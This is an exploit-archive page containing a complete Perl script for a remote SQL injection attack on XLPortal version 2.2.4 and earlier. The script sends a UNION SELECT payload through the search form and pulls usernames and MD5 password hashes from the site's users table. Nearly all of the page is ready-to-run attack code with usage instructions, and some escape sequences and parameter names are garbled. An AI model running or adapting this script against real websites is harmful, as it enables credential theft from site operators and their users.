[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit
# Published : 2008-03-21
# Author : cOndemned
# Previous Title : PostNuke <= 0.764 Blind SQL Injection Exploit
# Next Title : RunCMS Module section (artid) Remote SQL Injection Vulnerability
#!D:PerlBinPerl.exe
use LWP::UserAgent;
#
# XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit
# Coded by cOndemned
# Greetz : irk4z, GregStar, NoRuless, Tomu, Happy B'day Avantura ;*
#
print "rn[~] XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit";
print "rn[~] Coded by cOndemned [22.03.2008]rn";
if (@ARGV < 2) {
print "[~] Usage : $0 <target_host> <pref>rn"; # default pref is xlp / xlportal
exit();
}
$head = new LWP::UserAgent;
$head->agent("Opera/9.26 (Windows NT 5.1; U; pl)");
my $request = HTTP::Request->new(POST => $ARGV[0]."/index.php");
$buff = "%27+union+select+1%2Cconcat%28user%2C0x3a%2Cpassword%29+from+".$ARGV[1]."_users+%2F*";
$request->content_type('application/x-www-form-urlencoded');
$request->content("page=Szukaj&op=Wyszukaj&query=".$buff."§ion_News=1§ion_Download=1&s".
"ection_Links=1§ion_Articles=1&exact=any&sort=alpha&=Rozpocznij+wyszukiw".
"anie");
$response = $head->request($request);
if (($response->content =~ /([a-zA-Z]+?):([0-9,a-f]{32})/)) {
print "[+] Login : $1rn";
print "[+] Haslo : $2rn";
}
else {
print "rn[~] This one isn't vulnerable, or bad data was givenrn";
exit();
}
# www.Syue.com [2008-03-21]